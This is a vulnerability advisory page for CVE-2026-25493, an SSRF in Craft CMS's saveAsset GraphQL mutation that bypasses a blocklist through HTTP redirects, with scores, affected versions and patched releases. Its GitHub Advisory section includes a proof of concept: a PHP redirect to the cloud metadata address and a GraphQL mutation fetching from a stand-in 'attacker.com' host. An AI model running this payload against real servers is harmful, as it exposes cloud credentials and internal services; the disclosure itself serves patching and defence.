CVE-2026-25493
JSON

6.9medium

Craft has a SSRF in GraphQL Asset Mutation via HTTP Redirect

Severity
6.9medium CVSS:4.0 by GitHub_M
Exploit likelihood
0.40% (higher than 36% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-8jr8-7hr4-vhfx

Description

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.

Affected

Product or packageVersionsReported by
craftcms cms>= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18CVE List
craftcms/cms (Packagist)from 5.0.0-RC1 before 5.8.22, from 4.0.0-RC1 before 4.16.18GitHub Advisory Database
craftcms craft_cmsfrom >4.0.0 before 4.16.18, from >5.0.0 before 5.8.22, 4.0.0, 5.0.0NVD

All scores

GitHub_M6.9medium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
GitHubmedium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
NVD6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Classification

CWE-918

SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.

What each source says

CVE List

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.

GitHub Advisory Database

Summary

The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.


Proof of Concept

  1. Host a redirect script on your server (e.g. redirect.php):
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
  1. Send the following GraphQL mutation:
mutation {
    save_images_Asset(_file: { 
        url: "https://attacker.com/redirect.php"
        filename: "metadata.txt"
    }) {
        id
    }
}
  1. The application validates attacker.com (passes)
  2. Guzzle follows the redirect to 169.254.169.254
  3. Cloud metadata is saved as an asset

Mitigation

  • Disable redirects.
NVD (es)

Craft es una plataforma para crear experiencias digitales. En las versiones de Craft 4.0.0-RC1 a 4.16.17 y 5.0.0-RC1 a 5.8.21, la mutación GraphQL saveAsset valida el nombre de host de la URL inicial y la IP resuelta contra una lista de bloqueo, pero Guzzle sigue las redirecciones HTTP por defecto. Un atacante puede eludir todas las protecciones SSRF al alojar una redirección que apunta a puntos finales de metadatos en la nube o a cualquier dirección IP interna. Este problema está parcheado en las versiones 4.16.18 y 5.8.22.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-25493 changed 2026-02-10CVE Terms of Use
GitHub Advisory DatabaseGHSA-8jr8-7hr4-vhfx changed 2026-02-09CC-BY-4.0
NVDCVE-2026-25493 changed 2026-06-17Public domain